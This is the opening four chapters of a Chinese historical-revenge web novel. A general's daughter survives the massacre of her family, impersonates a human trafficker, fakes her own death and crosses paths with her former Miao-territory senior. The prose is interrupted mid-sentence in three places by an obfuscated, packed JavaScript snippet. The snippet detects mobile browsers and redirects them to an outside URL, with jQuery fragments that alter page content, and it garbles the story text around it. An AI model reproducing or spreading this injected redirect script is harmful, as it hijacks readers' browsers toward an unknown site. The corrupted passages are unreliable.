《折春枝》 1. 第 1 章 积雪化成水,从屋檐滴落。 久违的阳光透过窗纸,将本就破败的木屋照得更显一贫如洗。 沈付雪睁开眼,却目无焦距,久久未能回神。 直到有人在她面前挥了挥。 “娘子,你可算醒啦——” 苍老的女声中略显关切,沈付雪没应,只听得斟水声同老妪的絮叨声同时响起。 “娘子既已醒来,那便是没有性命之忧了。也不知道娘子是得罪了什么人,老身捡到你的时候,那个血流得——哎呦呦,汩汩地往外冒,吓死个人哟。” 说着,老妪将刚斟好的半碗水放到一旁,在问询了沈付雪的意见后,吃力地将她从炕上扶起来。 “多谢阿婆。” 沈付雪接过水碗,嗓音沙哑地说了自醒来的第一句话。 她抿了口水,目光在屋内流转。 是在一个颇为残破的木屋里。屋内除了桌凳,锅碗瓢盆这些生活所必需之物,便再无其他。 而炉灶上的大锅内白烟升腾,看起来似是有人在此常住的样子。 沈付雪稍稍放下了些戒心。 她忍住心脏处传来的疼痛,吸了口气,问道:“敢问阿婆,现下是何时?” 老妪掰掰手指,“如今是腊月二十一日,距离老身捡到娘子,已有两日了吧。” 腊月二十一日…… 距离爹爹凯旋那日,恰好两日。 心上泛起密密麻麻的疼痛,那日场景不受控制地涌入脑海。 那本是父亲率军大败海黎国之日,众人皆在城门处翘首以待,唯她等不及,骑马至回城必经之路迎接。 可等她到时,看见的却是哥哥倒地、父亲被杀,无数将士皆惨死之景……胜者的鲜血流于国土,茫茫白雪之下,魂冤无处诉。 只因那举剑之人,是他们誓死都要效忠的对象——祈南国新皇,元淮毅。 沈付雪双手握拳,闭着眼睛将呼吸平复。现下最重要的,不是悼念英魂,也不是自怨自艾,而是要想办法解决她“尸体”不见了这个麻烦。 先前是她被少时的感情蒙了双眼,如今死过一次,她才幡然醒悟。这一切的一切,皆是有迹可循!怪道他总会说一些“太尉竟是比朕还得雪儿喜欢”“太尉如此厉害,倒真让朕愈发舍不得放他离开了”这般奇奇怪怪的话。 原是早就不满爹爹,对爹爹起了杀心了么。 沈付雪咬了咬牙,思索一瞬后就要起身。 却被阿婆拦住。 “哎呦呦,娘子怎这般着急,娘子身上的伤还需得将养些时日才——” “都搜仔细点儿了!上上下下,里里外外,一处都不得放过!” 正争执间,屋外忽地响起男人严肃的喊叫声。 两人对视一眼,沈付雪当即忍痛下了炕,正当她环视屋内有何处可藏身的时候,那阿婆却忽地把她刚睡过的铺盖一卷,而后把木板一掀,“快!这里安全,娘子快些躲进去。” 官兵已经在敲门了。来不及细想,沈付雪只得弯下身,顺着阿婆所说的,迈进那炕的空隙中去。 木板被迅速盖上。 光亮消失,眼前陷入一片昏暗。 沈付雪放轻呼吸,侧耳去听外面的声音。 许是阿婆的屋子太过简陋,她只听见一些凌乱的脚步声,以及不太真切的谈话声,约莫一柱香的时间过后,声音就渐渐小了下来。 官兵似乎已经搜查完毕。 她几不可察地松了口气,也就是这时她才察觉到,那包扎好的伤口似乎又裂了开来,隐隐有些作痛。 狭隘的空间内,沈付雪有些艰难地探到边缘,想要借此缓解一下上身的压力。 然而她用手撑着,刚一用力,却忽地察觉到了不对劲。 柔软的,还带有些许温度的…… ——是人的身体! 沈付雪猛然瞪大双眼。 与此同时,只听得“咔哒”一声,木板被人粗暴掀开。来不及收拾脸上神情,沈付雪几乎是下意识地抬头,却意料之外的,撞进一双幽深的,暗含危险笑意的熟悉眸子里。 ……怎会是他?! 过往种种如走马花灯般于脑中闪现,纵然知道无用,沈付雪还是朝着那人,摆出一副恳求的可怜模样。 “师兄……” 沈付雪眸光闪动,无声地朝人服软。 但景凭生却只是冷哼一声,伸手便朝着她的手臂探去! 然而就在两人肌肤相触的那一刻,熟悉的血腥味扫过鼻尖,反应过来这是什么的景凭生瞬间脸色大变! 竟然又要对他使用绘梦之术?! 景凭生气得胸闷,抬手就要去拿解药,却还是晚了一步。只见他那双摄人心魄的眼睛空白了一瞬,便仿若被操控了般,木板被扣下,景凭生转过身,拦住欲上前查看的下属。 “一些违禁品罢了,抓人要紧,不要节外生枝。” 话落,一群人整齐划一地应声称是,而后迅速列队离开。 只是在临踏出房门之际,景凭生却忽地回头,眸底神色变幻。 …… 另一边。 地面血迹渐渐消融。确定那些人是真的离开了之后,沈付雪轻拍胸脯,舒了口气。 想不到她的绘梦之术在那人身上竟还能生效。还以为两年过去,她当初下在他身上的蛊,早已被清除了呢。 沈付雪庆幸的同时,心下又不免生出疑惑。 蛊毒一事先不谈,景凭生一介苗疆圣子,如今却加入朝廷,看上去还混得不错的样子……到底,意欲何为? 正想着,木板“咔哒”一声,再次被人掀起。沈付雪掩下心中思绪,装作什么都没有发生似的,磕磕绊绊地从里面爬起。 “这次,又要多谢阿婆了。” 沈付雪咳了一声,面色苍白地朝那老妪笑了笑。 老妪眼睛直勾勾地盯着她,也没问刚才之事,只是道:“娘子客气了,老身也是看娘子面善,不似坏人,这才冒着生命危险帮娘子瞒下那些官老爷的。” “所以呀,娘子合该感谢父母给你的这副皮囊才是——” 话音未落,两人几乎是同时出手! 凌厉的掌风破空而下,沈付雪侧身躲开的同时,腿部发力,借着石壁与她拉开距离。 但此番动作免不得又将心上的伤重新撕裂,殷红的鲜血渗透衣衫,本就失血过多的沈付雪面色更加苍白。 “娘子果然还是发现了妾的秘密呀。” 不若先前的苍老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227974|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音,两方既已图穷匕见,那“老妪”便也不再伪装,撕下脸上的人皮面具后,里面赫然是一张妙龄女子的脸! 她哼笑一声,高傲地望过来,“娘子还是乖乖束手就擒罢,这般漂亮的脸蛋儿,如若被妾不小心打伤可就糟了呀。” 沈付雪不语,径直朝人再攻过去。 那女子的武功虽好,却不算上乘。如若是平日里的沈付雪,定然是不惧她的,可如今,心脏上的伤就是一累赘,使她时时受到掣肘。逐渐落了下风。 如此明显的弱点,那女子自是不会放过的。眼看她后撤之后,反手就要往她的伤口处砸过来—— “娘子闪开!” 一道尚且稚嫩的男声忽地从身后响起。沈付雪下意识地弯腰闪避。却只听得“铮——”的一声,匕首刺入墙壁,沈付雪回过神来,趁那女子不备,一个手刃打在她的后颈。 重物落地的声音随之响起。沈付雪踉跄两步,拭掉额上沁出的冷汗,捂着胸口,大口大口地喘气。 “娘子…” 少年从炕坑里爬出来,谨慎地挪到她身边。“娘子,你怎么样?”少年抿抿唇,神色懊恼又惶恐:“方才,我……” “方才多谢。” 沈付雪摸索着坐下,示意他去拿底下的绳索:“把她捆起来罢。越紧越好,免得她半道醒来,又生麻烦。” 那少年闻言,连忙应下,探身去够下面的绳索。 伤口的撕裂感愈发严重,沈付雪忍痛在桌上的瓶瓶罐罐中挑了几个,开始给自己上药。 只是上药的同时,她还不忘用余光去扫那正在忙碌的少年,警惕心半分不减。 这少年便是她方才摸到的温热物什,只是时间紧迫,她又只是个半吊子医师,故而只来得及将少年弄醒,危机便再度降临。 虽说这少年的准头不太好,但也的确是因为他那一刀,才让她钻了空子,将人给制服。 细细算来,他们也算互不相欠。 正想着,沈付雪的目光又落到地上那名女子的身上。 既是想要她命的人,那么…成王败寇,既已输了,做她的替身,也不算过分吧? “小郎君。”沈付雪一边上药一边问:“你既是被绑到这里的,那关于这人,你都知道些什么?” 少年谨慎地打好绳结,闻言抬起头,正欲回答,却在看清沈付雪的动作后又忽地将头埋下,“她是、是人牙子。” “人牙子?” 沈付雪:“只拐了你一人?” 少年摇头:“很多。她骗了好多人来这里,但是其他人都被送去了交易地点,我是最后一个。” 不等沈付雪问,少年想了想,就又继续说道:“我不知道她的具体身份,但她每日都会和一个三四十岁的男子碰面。我有一次听到,那人似乎是个衙役。再多的……” “碰面?”沈付雪忽地打断少年的话,语气急促:“每日都会,那今日呢?” 少年闻言一顿,几乎是瞬间就惨白了脸:“没、没有,”说着,他看了看窗外的天色,“他们平常,就是在这个时辰——” 话音未落,沈付雪就抬手制止了他。 几乎是在她侧耳过去的瞬间便已能确认—— 外面……有脚步声。 2. 第 2 章 临近傍晚,街上行人渐少。 王二左顾右盼,确保周边无甚可疑之人后,这才转过身,急匆匆走进一家院落。 奇异的笑容在他脸上堆起,王二快步走到门前,克制地轻拍了两下。 无人应答。 王二皱起眉,稍稍加大了些力度:“三娘子,是我,快些开门。” 说着,他把耳朵贴到门上,仔细地听着里面的动静。似乎是有窸窸窣窣的声音透过门缝传来,显然屋里是有人的。可房门却依旧紧闭。 心中渐渐升起狐疑,王二撸起袖子,啐了两声,当即就要把门给踹开。 然而就在他鞋底挨上门的那一刻,“吱呀”一声,有人从里面走了出来。 沈付雪顶着那老妪的脸,盯着眼前之人,皱起眉,刻意吊着嗓子道:“王二,你踢我房门做甚!踢坏了你可是要赔的!” 王二沉默着。 片刻后,他挠了挠头,拉起沈付雪的手嘿嘿一笑:“三娘子莫生气,这不是我拍门许久都不见娘子开门,还以为是出了什么差错,担心娘子嘛。” 两人推推搡搡地走进屋内。 王二一边关门,一边往她的脸上瞅:“只是娘子,咱不是说好了碰面的时候不用这副皮囊吗,你怎么……” “你以为我想!”不等他说完,沈付雪就先发制人:“还不是前两日捡到的那个小娘子,方才醒来就在闹,那个烈劲儿哟,要不是我会点儿功夫,都要被她给逃出去了哇。” 王二瞪大眼睛:“那小娘子当真如此厉害?” 沈付雪只瞪着他,并不言语。 眼珠滴溜溜地转了一圈,王二忽地凑上来,坏笑地将人圈在怀里:“三娘子莫气,我这就补偿补偿你——” “王二!” 沈付雪忍着心底的厌恶大喊。 争执间,只听得“嘶——”的一声,王二捂着被指甲划出鲜血的胳膊后退两步,面色阴沉。 沈付雪装作强撑起气势般:“一点小伤而已,你个大男人,叫什么!大不了下次的货,我先送去你那边,要你掌掌眼就是了。” 她这话说得隐晦,但深谙此道的王二哪能不懂这什么意思。 “还是三娘子懂事。” 王二哼了一声,脸色稍霁。 “既如此,”王二放下袖子,正经起神色:“明日酉时,老地方,三娘子务必将这最后一批货物准时送到。” 言罢,王二转身欲走。 “等等!”就在他即将跨出门槛之际,沈付雪忽地出声,叫住他:“明日再派个人手过来罢,那小娘子,我一人定是摆不平的。” 王二回头:“不过一介女娘,三娘子怎落魄到此等地步?” 沈付雪不理他的嘲讽,继续道:“此事的重要性自不必多说,望郎君寻人之际切勿多言,只告诉那人是护送人的活计即可。免得走漏风声,招来麻烦。” 王二甩甩衣袖,哼了一声,而后径直往外走:“如此简单的道理,倒也不必三娘子说教。” 沈付雪笑而不答。待人走出她的视线范围,又约莫过了一盏茶的时间,她这才将门关上,而后快步走回土炕前,掀开木板:“出来罢。” 方才时间紧迫,她只得披上那女子的人皮面具,从少年的三言两语中拼凑出一个完整的三娘子来假扮。还好糊弄了过去。 “娘子。” 少年从炕坑里爬出,又将那三娘子也从里面拖出来后,竟三两步跪倒在她面前,朗声恳求:“求娘子发发善心,救救我家阿妹!” 沈付雪睨他一眼:“你家阿妹……是在已被送走了的那几批里么。” 少年应声称是。 而后,沈付雪便再未言语。直至少年伏地的手臂都在发颤,她才又抬起眼,嗓音清冷:“你当知道,我并非良善之人。” 少年垂眸,指尖被他捏得泛白,他自是知道的,从沈付雪救他的那一刻他就知道。只是,为了阿妹,他只能向她奢求一份恩典。 心渐渐下沉,不知又过了多久,就在少年并不抱什么希望了的时候,只听得一声叹息,沈付雪起身,将少年搀扶起来,“罢了,左右也是被卷进了这桩祸事,但救你阿妹一事,我只能尽力而为。” 少年瞪大眼睛,不可置信般:“……多谢娘子!娘子大恩大德,我——” 沈付雪摆了摆手,止住他的客套话。 “那王二既是县衙之人,待夜深,我便前去探查一番,应当会有所收获。”说罢,沈付雪垂眸,看向地上那女子:“你拖上她,跟我走罢。还有一事,需得她帮忙才是。” * 饮安城外,竹林。 不过时隔两日,再次回到这里,竟有种恍如隔世之感。但唯有心中恨意,不减反增。 沈付雪心下思绪纷飞,但面上依旧端得一副清冷模样。她朗声指挥着少年,将那三娘子摆到她曾经站过的位置。 而她本人,则站在那土坡之上,这竹林中最高的位置。她拉起弓箭—— 时空好似在这一瞬间重叠。 唯一不同的,是她已由那眼看父兄惨死却无能为力之人,摇身一变,成了执箭者。 沈付雪再度拉紧弓弦,心中竟莫名升起一种扭曲的,畅快之感。 箭尖直指心脏,沈付雪闭上眼。 然而就在她放出箭矢的那一刻,被搀扶着站立的女子却倏然转醒。紧接着,她瞪大眼睛,惊慌失措地转身—— 箭矢从她背后射穿心脏,历史好似一个轮回,悲惨事件总在不停上演。 沈付雪站在原地静默良久。 直至走至小河边,她才堪堪回神,弯腰探了探那三娘子的鼻息。而后,她盯着三娘子身上被交换过的染血衣裳,随手将自己的贴身玉佩扯下,塞进她腰间。 “扑通”一声,“沈付雪”跌落水中,脚踝似被河底的杂草缠住,身体上下起伏一瞬后,渐渐沉了底。 如此这般,往事终结。 从此以后,世上再无沈付雪。 * 不过…… 沈付雪抬眸,冰凉的目光落到对面。 “娘、娘子……”被锋利的刀刃抵着脖颈,少年眼中逐渐染上恐惧,还有不解,“为何……” 沈付雪一脸漠然,只道:“如今这世上,无人再知晓我的真面目。除了你。” “我不信你。” 纵使少年帮了她如此之多,沈付雪依旧不信他。 不信,也不敢信。 月色高悬,寒凉的河水映照着两人僵持的身影。已然恢复平静的少年抬起眼,第一次这么近距离的观察他面前的女子。 她看人时,总一副面无表情的样子,眼尾微微上挑,看上去格外不好接近。但他见过她在四下无人之际,放轻松后的姿态。虽还是一副清冷模样,但仅是从内里透出的那一丝柔软,便足以令所见之人喜悦良久。 “既如此,”少年开口,忽地弯眉一笑:“还望娘子看在我不挣扎的份儿上,救救我阿妹。” “这便是你最后的心愿么。” 沈付雪垂眸看他,几近平静地问。 少年不语,却是忍着生理上的恐惧,直直地朝着匕首撞过去。 鲜血滴落地面,染红一片白雪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227975|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈付雪丢掉匕首,即便没有染上任何脏污,还是将手指在衣衫上反复摩擦,破了皮也仿若未觉。 “……娘子。” 少年睁开眼,语气困惑。 但不等他将心中的疑惑问出口,面前之人便伸出手,递来一颗黑漆漆的药丸。 “此物名为噬心丸,吃下它便需在每月十五服一次解药,否则将疼痛难忍,噬心而死。”沈付雪言罢,冰凉的眸子对上少年视线。她开口,语气也是冷的:“臣服于我,或者,死。” 话音未落,少年便迫不及待地,将那药丸囫囵吞下。 沈付雪难得以脱离年龄的目光,看少年一眼:“你叫什么名字。”她问。 少年的脸色瞬间涨红,刚还随口吞毒药的勇气消失得无影无踪。他嗫嚅两下,酝酿良久才闭眼说出口:“……阿狗。” 沈付雪疑惑地“嗯”了一下,反应过来后又正经道:“阿狗么……倒是可爱。不过你既已跟了我,那便取个新名字吧。你可有喜欢的?” 少年并不看她,只顾摇头。 “……那便叫阿澈吧。” 沈付雪抬手触碰微风,声音低得仿若自言自语:“便以你名,惟愿高堂明澈,世上再无类我之人。” “娘子。”少年沉浸在获得新名字的喜悦中,并未听到她的话:“阿澈好听,我很喜欢。只是……” 少年鼓起勇气,“我能随着娘子姓吗?” 沈付雪垂眸看他:“随我姓?”她自嘲一笑,纤细的手指随意往旁处一指,“看到那支梅花了吗,等你成长到可以和它相提并论的时候,若你还愿,我便为你冠上我之姓。” 寒雪压枝,金黄色的梅花却依旧挺立,于天地间自由绽放。哪怕少年并不懂她的意思,可他想,只要他足够努力,变得足够强大,便终会迎来那一天的罢。 处理完三娘子一事,天色已然黑沉。回到木屋后,沈付雪估摸了下时辰,现下当是夜探县衙的最好时机。 只是她刚把那从三娘子房里搜到的,制作人/皮面具的工具拿出来,阿澈就像是察觉到了什么,郑重道:“我也要跟娘子同去。” 沈付雪手下动作不停,“你身上无甚功夫,跟我同去,只会害了我。” 闻言,阿澈眼底光芒黯淡,羞愧似地低下了头。“不过……”正当他沮丧之际,沈付雪又施施然开口:“你过来罢,虽不能同我一起,但有一事,却非你不可。” 同阿澈耳语一阵后,又过了一刻钟,沈付雪才停下手中动作。 她伸出手来,摆正桌上的铜镜。 同先前阿澈看到的肤质白皙的美人不同,如今的沈付雪,虽皮肤状态良好,但眼下青黑,雀斑从鼻梁处弥漫半张脸颊,甚至连眼睛都比原来缩小了整整一倍。看上去同那再普通不过的女子无甚不同。活像换了个人似的。 沈付雪仔细端详一番,确定并无不妥后,又同阿澈交代了两句,这才起身,隐入夜色之中。 县衙处于中央地带,沈付雪潜至衙外之时,已然到了深夜。 她暗中观察了下县衙的守卫布防,寻了个空隙,抬脚便欲往里冲。 然而她刚从墙角露出头,便听得一阵车马声,隐隐从右侧街道里传来。沈付雪连忙退回去。她皱了皱眉,心下疑窦丛生。 ……已是此般时辰,县衙怎得还有来客? 车马声渐近。 沈付雪趴在墙头,视线随着车马而动。 下一瞬,风声鼓噪,车厢两旁的帷裳被呼啸着吹起,沈付雪几乎是在看清来人的瞬间就紧蹙起了眉。 ……怎得,又是他? 3. 第 3 章 车架在大门前停下。 一只修长有力的手从帘内探出,紧接着,车帘被掀起,身着白色衣衫的男子低垂着头,拾级而下。 盯着那人的脸,沈付雪神色恍惚一瞬,思绪不由得回到三年前。 虽说这天下由祈南国和海黎国平分,但于两国交界之处,尚有一特殊存在——苗疆。 而景凭生,便是苗疆圣子,亦是她曾经的……师兄。 说来话长,三年前苗疆蛊王可操万物的流言甚嚣尘上,沈付雪身为绘梦师传人,自觉要锄强扶弱,匡扶正义,故为防行事诡谲的苗疆用那蛊王行恶,尚且年幼的她一时冲动,孤身一人便去了那苗疆卧底,试图打探出什么惊天大秘密。 只是令她失望的是,外界流言终归只是流言,所谓的蛊王不过是个还未成型的半成品,莫说操控万物了,怕是她轻轻一吹都会碎掉。 于是,在她气不过吹了一口气后,那蛊王……当真碎成了渣渣。还被景凭生,也就是当时收留她,并好心教她蛊术的师兄撞见…… 慌乱之下,沈付雪将人打晕,并将她结合蛊虫和绘梦新研发出来的控梦之术,用在了他的身上。 不同于将人之梦境绘制于纸上,从而对患者进行开导的绘梦之术,所谓控梦,需得先以鲜血喂养蛊虫七七四十九天,而后将蛊虫置于人之体内,施术者方可经由鲜血所作之画篡改人之记忆。只是为图方便,沈付雪并未区别两种术法,统一谓之绘梦。 但此法终为逆天之行,沈付雪自研究出来后从未使用。彼时情急,她施术将景凭生的记忆修改成“蛊王炼制失败,自然死亡,沈付雪学有所成,故离走归家”后便落荒而逃,此一逃,便是两年。 如今旧友重逢,沈付雪只觉心中情绪复杂,说不清是何等滋味。 她叹口气,终是以正事为先,趁着众人的注意力皆在景凭生身上的时候,她顺着侧门的方向,飞速翻墙而入。 只是她不知道的是,在她潜入县衙的下一秒,那个被她二度坑害了的苗疆圣子,视线很是精准地落到了她方才爬墙的位置上。 “……郎君?是有何不妥之处吗?” 身边的侍卫疑惑发问。景凭生却只是意味不明地发出一声笑:“无事,许是看花了眼,一只猫儿罢了。我们走罢。” 侍卫点头,上前两步,为他引路。 * 这县衙说大不大,说小也不小,但巡逻之人却过分得多,沈付雪躲着侍卫绕了几圈后,成功把自己绕得迷了路。 她藏身于高墙阴影下,四下观察了番,最终朝着靠近中央那处,还亮着烛火的方向探去。 “是……郎君吩咐的事……在筹划……怎敢怠慢——” “银钱……不必担心……倘…办成……自是少不了你的——” 屋内传来断断续续的谈话声。 沈付雪观察了下窗纸的用料,是滕纸。用此材质制出来的窗纸,倘若被人用匕首划过,发出的声音虽不大,但足以引来侍卫。也就是说,她只能放弃用刀划出口子的想法,侧耳去听。 屋内共有两人,其中一人是景凭生,不出意外的话,剩下那人,便是县令了。 沈付雪扒在门外听了片刻,却也只能通过只言片语推测出,这两人似乎是达成了某种交易,此刻正在谈论那交易的实施之法。 交易……沈付雪忽地想起她此行的目的。而后她心下猛地一沉。 倘若此事,景凭生也参与其中的话……沈付雪眉头紧紧蹙起,没敢再继续想下去。末了,她盯着地上亮起的浅浅荧光,追随着,又转身没入夜色之中。 好在她提前在王二的身上撒了些追踪粉,不然这偌大的庭院,怕是她还没摸清王二住哪间屋子,自己就被巡逻的侍卫逮了过去。 房门“吱呀”一声轻响,隐在呼啸的寒风中,无人在意。 沈付雪放轻脚步,走到王二床前,就这么静静地站了好一会儿后,她才翻手取出一只青黑色的蛊虫,置于男子耳边。 紧接着,蛊虫钻耳而入,王二砸吧砸吧嘴,似有些不舒服地翻了个身。 沈付雪不闪不避,反倒席地而坐。约莫一柱香的时间过去,她忽地咬破指尖,以鲜血为引,作画于地面。 算起来,这是她第三次使用绘梦之术。成功率虽低,但酉时便是交易期限,她若想得知交易地点,便只能一试。 时间缓缓流逝。即便她已经尽量将那画画得简洁,但此番连续两次使用绘梦之术,最后收尾之时,沈付雪还是险些晕倒于此。 鲜血慢慢向下渗透,沈付雪观察了下王二的状态,确保他无甚不良反应后,这才放下心,将她来过的一切痕迹抹去后,转身走向房门。 然而就在她即将推开房门的那一刻,冬风烈烈,沈付雪忽地注意到书桌上的那叠被吹得四散的信纸。 * 元历二十五年,腊月二十二日。 敲门声在申时准时响起。 将将养回些精气神儿的沈付雪睁开眼,拍了拍木板,示意一旁正熬粥的少年先躲进去。 而后,她才不紧不慢地拉开门,将人迎进屋里。来人是个不大的少女,约莫十五六的年纪。已然带上老妪面具的沈付雪睨她一眼,“小娘子来此,可是主家与你说了什么?” 面对她的试探,少女安安静静,朝她行了个礼后,才施施然开口道:“娘子聪慧。王郎君只同妾说,西侧梧桐树下,木屋里有两人需得妾在酉时之前,护送至城西郊外的山洞里。除此之外,便再无其他。” “两人?”沈付雪闻言,忽地勾唇一笑。这王二,倒是说了个好数字。 言罢,她坐回床铺之上,清亮的眼睛直视那少女:“做些吃食罢,你可会?” 林离看着锅里的白粥,点了点头。 约莫一刻钟过去,林离在沈付雪的指使下,将三菜一汤摆上了桌。既已摸清底细,沈付雪便也不再避着这少女,她掀开木板,随后仗着此处是视野盲区,便随手做了个解绳子的动作,将阿澈从里面放出来,让他上了桌。 但她对待阿澈的态度却装得极为恶劣。 鸡飞狗跳的一餐过后,由林离赶车,沈付雪坐在车厢里看顾着被捆住双手的“昏迷”了的少年,向着郊外而去。 临近酉时,太阳逐渐隐没于地平线下,沈付雪挑起帷裳,手支着下巴欣赏那初雪融化之景。 细细算来,今日不过是她“重生”的第二日,可眼前发生的这一切,却让她有种恍如隔世之感。精神上的疲乏在清新景色中渐渐消退,沈付雪深吸一口气,缓慢退回车厢内。 然而就在她即将放下帷裳之际,在那满目白雪绿竹的景色里,忽地出现一抹红。 沈付雪扬声喊了句,马车应声而停。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227976|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >来不及交代阿澈些什么,沈付雪跳下马车,对着林离道:“再往前走,马车便不方便出行了,你先带着那小郎君往前走,待我回来便去同你们会合。” 言罢,不等林离回应,沈付雪就控制着速度,快步往那抹红色消失的方向前行。 虽说在林离面前不必完全遵循三娘子的行为习惯,但她现下好歹也是顶着一张老妪的脸,多注意些总是好的。 沈付雪一边追赶,一边回忆方才的那道红色身影。如若她没有感知错的话,那人……应当同她昨晚看到的一样,是景凭生。 只是,昨晚她还能说服自己是巧合,但是今日,同一时间同一地点,她总不能那么巧的,又同他撞见。 脑中思绪仿若乱成了一团线,沈付雪扭头,确定林离看不到后,加快了脚下步伐。 “郎君,后面……好似有人跟踪我们。”侍卫收回视线,对着自家主子悄声耳语。 “嗯?是吗。”景凭生拢拢衣袖,语气漫不经心:“既如此,让她跟着便是。” 侍卫不解:“郎君……”他本还想提醒郎君两句,但当视线落到郎君那亮红色的衣衫上时,侍卫又像是明白了什么似的,道:“我知道了!郎君定是早就料到了会有人跟踪,所以才穿得那么鲜亮罢!” 闻言,景凭生抬眼朝身边之人看去。明明只是极为普通的一个眼神,可侍卫看到后,却瞬间噤声,不敢再多言。 平安县的郊外是出了名的山石多,沈付雪追着那抹红色绕了好些圈,直到小腿都有些发软的时候,她才反应过来—— 景凭生那厮,莫不是在戏耍她? 沈付雪停下脚步,但转念一想,她已然换了身份和面容,便是自家兄长都未必能认出她来,更遑论他一个多年未见的……曾经师兄了。 沈付雪越想越觉得有诈,心底直觉催促着她转身,奔着来时的路飞速返回。 然而她甫一转身,脖颈便被人掐住。高大的身躯从背后将她笼罩,男子灼热的吐息贴在她耳边,极具危险:“娘子尾随某至此……何意?” 男子那略显陌生的嗓音,使得沈付雪恍惚一瞬。 她闭了闭眼,努力平复下躁动的心。脑中思绪百转,她吊着嗓子,道:“郎君饶命,如今这世道……唉,老身也是迫不得已,才对郎君起了歹心。只是,还望郎君看在老身中途醒悟的份儿上,饶我一命啊——” 沈付雪嚎得真情实意,丝毫看不出是在演戏。但不知道为何,身后之人非但没有松开她,反而掐着她脖颈的手愈发用力! “郎君……咳,咳咳……”喉中空气渐渐变得稀薄,沈付雪只觉眼前阵阵发黑,却依旧嘴硬:“老、老身不过一时鬼迷心窍,郎君、郎君何必赶尽杀绝——” “是吗。” 男子手下用力,嗓音却诡异的温柔:“娘子这般,倒显得某有眼无珠了。” 言罢,只听“呲啦——”一声响,沈付雪脸上的人皮面具,就这么轻飘飘地……被扯了下来。 “如此,娘子还要撒谎么?” “我……”沈付雪张了张嘴,大脑飞速运转之时,身后那人却忽地抚上她的脸颊。 “这张脸……” 沈付雪心脏猛地一跳。 冷汗顺着额头滑落,她在几近停止的心跳里,听见那人笑着开口道: “会是娘子真正的面容么。” 4. 第 4 章 沈付雪敏锐地察觉到了景凭生话里的不对劲。 因为她的脸上……的确还有一层人皮面具。 画皮之术是她前不久才学会的,所以景凭生见过的,是真正的沈付雪。 如今只是被揭掉了一层人皮面具,她的真实面貌依旧被掩盖在面具之下…… 景凭生不该认出她才对……可总有种不详的预感萦绕在她心间。 正想着,脖颈上的桎梏忽地消失,沈付雪抬起眸,猝不及防跟那双幽暗深邃的眼睛对上视线。 一声轻笑后,景凭生拭了下手,道:“玩笑话罢了。不过,娘子既有这般好手艺,大可不必做这些偷鸡盗狗之事。……否则下一次,某就不会这么轻易地放过娘子了。” 尾音含笑,沈付雪的目光追随着他,很明显地感受到了他有意无意瞥过来的一眼。 ……更可疑了。 但现下她才是弱势的一方。故而沈付雪只好压下心中万千思绪,佯装欣喜:“……谢过郎君。” 待人走远,沈付雪方才把那老妪形象的人皮面具重新戴上,而后她又拿出随身携带的工具包,对着小镜子在脸上捯饬良久,确保面具完美贴合后才急忙赶去交易地点。 * 青竹飒飒,耳边响起窸窸窣窣的交谈声。 沈付雪藏身于竹林间,猫着头往山洞的方向看了一眼,大致摸清了对方的人数后才缓步走出去。 三四双眼睛警惕地望过来。 不等沈付雪解释些什么,领头那人就哂笑一声,眉眼间明显放松了警惕:“真是懒驴上磨,老婆婆你一个人磨蹭,害得大家伙儿都得等着你……东西都在这儿了,快些核对,上边儿还等着我们回去交差呢!” 沈付雪讪笑着走过去,视线不动声色地扫过地上那很是显眼的大箱子。 交易肯定要一手交钱一手交货,所以按照常理推算,这人说的要她去核对的东西,应该就是这个箱子了。 收回视线,沈付雪在箱子旁站定,而后朝着身后摆了摆手:“把人带上来吧。” 林离沉默地双手压着少年上前。 紧接着,沈付雪朝着那领头之人友好一笑后微弯下腰,伸手就要去打开他身旁的那个箱子。 “诶诶诶,等一下——” 箱盖的另一侧被按住,领头人歪了下头,笑嘻嘻地道:“我说老婆婆,这不对吧?你人还没给全呢就想把这白花花的东西拿走,也太不厚道了吧?” 话虽是打趣的样子,但沈付雪明显能看出来男子身体紧绷,是在防备她。 气氛僵持两秒,沈付雪直起身,拍了拍额头赔笑道:“哎哟你看老身这脑子,竟然把这么大的事儿给忘掉了……” 她缓步凑近领头人,“哎呀这可就说来话长了,就那小娘子你知道吧,老身好不容易把她搞到手,但就在昨日夜里……” 沈付雪绘声绘色地讲着,表面一副人畜无害的样子,实则掩在长袖下的手已然摸到冰凉锋利的某个物什—— 图穷匕见。 “阿澈,躲好!” 沈付雪头也不回地朝后提醒了一句,而后手下匕首翻转,飞速朝人刺过去—— 领头的男子反应不及,腹部被刀刃穿过,汩汩鲜血从嘴角流下来。 “老大!!” “大哥!!” 一直站在领头男子身后当背景板的几个大汉见状,纷纷瞪大眼睛吼叫起来。场面瞬间变得混乱。 